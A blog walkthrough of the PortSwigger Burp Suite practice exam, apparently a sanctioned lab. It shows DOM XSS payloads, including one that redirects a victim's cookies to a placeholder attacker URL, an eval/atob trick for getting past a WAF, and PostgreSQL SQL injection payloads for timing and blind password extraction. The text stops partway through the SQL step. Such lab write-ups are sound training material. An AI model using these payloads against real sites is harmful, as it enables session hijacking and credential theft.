Portswigger Practice Exam #1

In this blogpost we will see how to complete The Burp Suite Pratice Exam by Portswigger
We have 2 hours to complete the exam. The Exam itself is made up of three steps, in each of which we have to exploit a different vulnerability.

Steps:

DOM Cross-Site Scripting (XSS)
SQL Injection
Insecure Desearilization

Step #0: Starting the exam

At the bottom of this page, we can start either the first or the second exam.

Let's start the first one by clicking on the first orange button.

Let's click on the next button to confirm to start the practice exam.

Now let's wait a few minutes to let the lab load up.

Step #1: DOM Cross-Site Scripting (XSS)Finally, let's click on the App 1 Button to load the exam webpage.

Let's enable the DOM Invader Extension

Let's use the Dom invader to identify the Sink(s)

Let's validate that we can exploit this sink with the following payload "-alert()-" to achieve a DOM XSS

Let's try to read the cookie using this JavaScript payload "-alert(document.cookie)-".

As we can see, the payload is blocked by a WAF. Since the "-alert()-" is not blocked, we can suppose that something about the string document.cookie is triggering the WAF, blocking us.

Let's keep in mind what we want to do. We want to redirect a victim user to our server in order to steal his or her cookie(s). To achieve this, we could often use the following payload "-location='<ATTACKER_URL>'+document.cookie-", but since we are unable to use the string document.cookie, we need to find another way to achieve our objective.

To overcome our issue, we can combine both the eval and the atob JavaScript functions, using this payload

"-eval(atob('BASE_64_PAYLOAD'))-"

Let's test our payload on ourselves to confirm that our approach is valid.

Perfect, it's working well, and we got our cookie reflected in the URL bar.

Now, let's use the Exploit server to send our payload to the victim and finally get his cookies.

Viewing the logs, we can see how the victim got redirected to our Exploit server and how we have stolen his session cookie.

Now let's inject the cookies we have stolen into our browser.

Now, after refreshing the webpage, we can see that we are logged as the user Carlos.

We have completed step 1, let's continue to step 2.

Step #2a: SQL Injection (Manual)

Since the only new available functionality is the "Advanced research" one, we can assume that we have to exploit it.

To identify the presence of a probable SQL Injection, we can repeat a request, adding a hyphen to each parameter.

From the error in the screenshot above, we can assume that the database is PostgreSQL. To confirm that we can achieve a SQL Injection, let's try with the following
payload: ;SELECT PG_SLEEP(5);

It Worked! We can confirm that we have found a valid SQL Injection since the request took roughly 5 seconds or 5000 milliseconds.

Now let's manually exfiltrate the administrator's password, assuming that it is stored in the table named users. We will achieve this using the intruder.

But, first let's set up the Intruder properly:

Attack type: Cluster bomb attack
Resource Pool: Default
Payload 1: Number 1-20
Payload 2: [A-Za-z0-9]
Matching expression: by zero
Payload: ;select+case+when+(username%3d'administrator'+and+substring(password,1,1)%3d'a')+then+1/(SELECT+0)+else+1/(SELECT+1)+end+from+users;